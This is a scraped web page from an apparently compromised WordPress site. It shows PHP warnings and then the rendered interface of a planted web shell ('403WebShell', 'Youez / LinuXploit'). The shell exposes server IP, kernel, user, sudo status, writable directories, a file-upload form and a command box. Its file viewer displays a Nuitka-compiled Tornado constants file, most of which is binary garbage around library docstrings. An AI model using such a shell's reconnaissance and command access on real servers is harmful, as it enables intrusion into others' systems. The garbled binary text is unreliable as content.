Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /nuitka/eggshell.build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nuitka/eggshell.build/module.tornado.concurrent.const
���FUTURES�.���futures�.��
�Future�.��&�"future_set_result_unless_cancelled�.���future_set_exc_info�.���sys�.���exc_info�.���fn�.���Callable�.��
�return�.���run_on_executor_decorator�.��6�2run_on_executor.<locals>.run_on_executor_decorator�.��.�*cannot combine positional and keyword args�.�K.���expected 1 argument, got %d�.��LXEDecorator to run a synchronous method asynchronously on an executor.

    Returns a future.

    The executor to be used is determined by the ``executor``
    attributes of ``self``. To use a different attribute name, pass a
    keyword argument to the decorator::

        @run_on_executor(executor='_thread_pool')
        def foo(self):
            pass

    This decorator should not be confused with the similarly-named
    `.IOLoop.run_in_executor`. In general, using ``run_in_executor``
    when *calling* a blocking method is recommended instead of using
    this decorator when *defining* a method. If compatibility with older
    versions of Tornado is required, consider defining an executor
    and using ``executor.submit()`` at the call site.

    .. versionchanged:: 4.2
       Added keyword arguments to use alternative attributes.

    .. versionchanged:: 5.0
       Always uses the current IOLoop instead of ``self.io_loop``.

    .. versionchanged:: 5.1
       Returns a `.Future` compatible with ``await`` instead of a
       `concurrent.futures.Future`.

    .. deprecated:: 5.1

       The ``callback`` argument is deprecated and will be removed in
       6.0. The decorator itself is discouraged in new code but will
       not be removed in 6.0.

    .. versionchanged:: 6.0

       The ``callback`` argument was removed.
    �.��
�kwargs�.���get�.���executor��executor���.��
�	functools�.��	�wraps�.���self�.���Any�.���args�.���wrapper�.��G�Crun_on_executor.<locals>.run_on_executor_decorator.<locals>.wrapper�.���executor�.��
�submit�.���chain_future�.��}�(�future��
Future[_T]�h	Nu.���copy�.���chain_future.<locals>.copy�.���future_add_done_callback�.���tornado.ioloop�.���IOLoop���.�h%.���current�.���
add_future�.��qXjChain two futures together so that when one completes, so does the other.

    The result (success or failure) of ``a`` will be copied to ``b``, unless
    ``b`` has already been completed or cancelled by the time ``a`` finishes.

    .. versionchanged:: 5.0

       Now accepts both Tornado/asyncio `Future` objects and
       `concurrent.futures.Future`.

    �.���a�.���b�.���done�.��
�	exception�.���
set_exception�.���
set_result�.��
�result�.��
�	cancelled�.�����Set the given ``value`` as the `Future`'s result, if not cancelled.

    Avoids ``asyncio.InvalidStateError`` when calling ``set_result()`` on
    a cancelled `asyncio.Future`.

    .. versionadded:: 5.0
    �.���app_log�.��	�error�.��*�$Exception after Future was cancelled���.��h��.���X�Set the given ``exc`` as the `Future`'s exception.

    If the Future is already canceled, logs the exception instead. If
    this logging is not desired, the caller should explicitly check
    the state of the Future and call ``Future.set_exception`` instead of
    this wrapper.

    Avoids ``asyncio.InvalidStateError`` when calling ``set_exception()`` on
    a cancelled `asyncio.Future`.

    .. versionadded:: 6.0

    �.�K.��0�,future_set_exc_info called with no exception�.��)�%future_set_exception_unless_cancelled�.���X�Set the given ``exc_info`` as the `Future`'s exception.

    Understands both `asyncio.Future` and the extensions in older
    versions of Tornado to enable better tracebacks on Python 2.

    .. versionadded:: 5.0

    .. versionchanged:: 6.0

       If the future is already cancelled, this function is a no-op.
       (previously ``asyncio.InvalidStateError`` would be raised)

    �.���add_done_callback�.��SXLArrange to call ``callback`` when ``future`` is complete.

    ``callback`` is invoked with one argument, the ``future``.

    If ``future`` is already done, ``callback`` is invoked immediately.
    This may differ from the behavior of ``Future.add_done_callback``,
    which makes no such guarantee.

    .. versionadded:: 5.0
    �.���X�Utilities for working with ``Future`` objects.

Tornado previously provided its own ``Future`` class, but now uses
`asyncio.Future`. This module contains utility functions for working
with `asyncio.Future` in a way that is backwards-compatible with
Tornado's old ``Future`` implementation.

While this module is an important part of Tornado's internal
implementation, applications rarely need to interact with it
directly.

�.���__doc__�.��@�</usr/local/lib/python3.8/dist-packages/tornado/concurrent.py�.���__file__�.���__spec__�.��
�origin�.���has_location�.���
__cached__�.���asyncio�.���
concurrent�.��h��.��	�types�.���tornado.log�.��h3��.��
�typing�.���Optional�.��	�Tuple�.��	�Union�.���TypeVar�.���_T���.���_T�.���builtins��	Exception�����.��
�	metaclass�.���__prepare__�.���ReturnValueIgnoredError�.���__getitem__�.��2�.%s.__prepare__() must return a mapping, not %s�.���__name__�.���<metaclass>�.���tornado.concurrent�.���
__module__�.���__qualname__�.���__orig_bases__�.���x�.��
�	is_future�.���Executor�.���
DummyExecutor�.���futures.Future[_T]�.���DummyExecutor.submit�.�����.���wait�.���bool�.���shutdown�.���DummyExecutor.shutdown�.���dummy_executor�.���run_on_executor�.���
_NO_RESULT�.��&}�(h*�
Future[_T]�h+�
Future[_T]�h	Nu.�h.��)�%Union[futures.Future[_T], Future[_T]]�.��	�value�.��L}�(h�%Union[futures.Future[_T], Future[_T]]��exc�hT�
BaseException���h	Nu.���
TracebackType�.���overload�.���callback�.��]��futures.Future[_T]�aN��.���
Future[_T]�.��]��
Future[_T]�aN��.��Q�nuitka.constants.Serialization��BuiltinSpecialValue���)��}�hu�Ellipsis�sbN��.���<module tornado.concurrent>�.���	__class__���.��(h*h+h!h%t�.��(h�a_exc�h*h+t�.��h*h+��.��hh}��.��hh��.��hhx��.��hhu��.��hc��.��	hhh
��.��(hhhht�.��h��.��hhj��.��(hhhhht�.��+(hhh�async_future��conc_future�hht�.��hh��.����.

Youez - 2016 - github.com/yon3zu
LinuXploit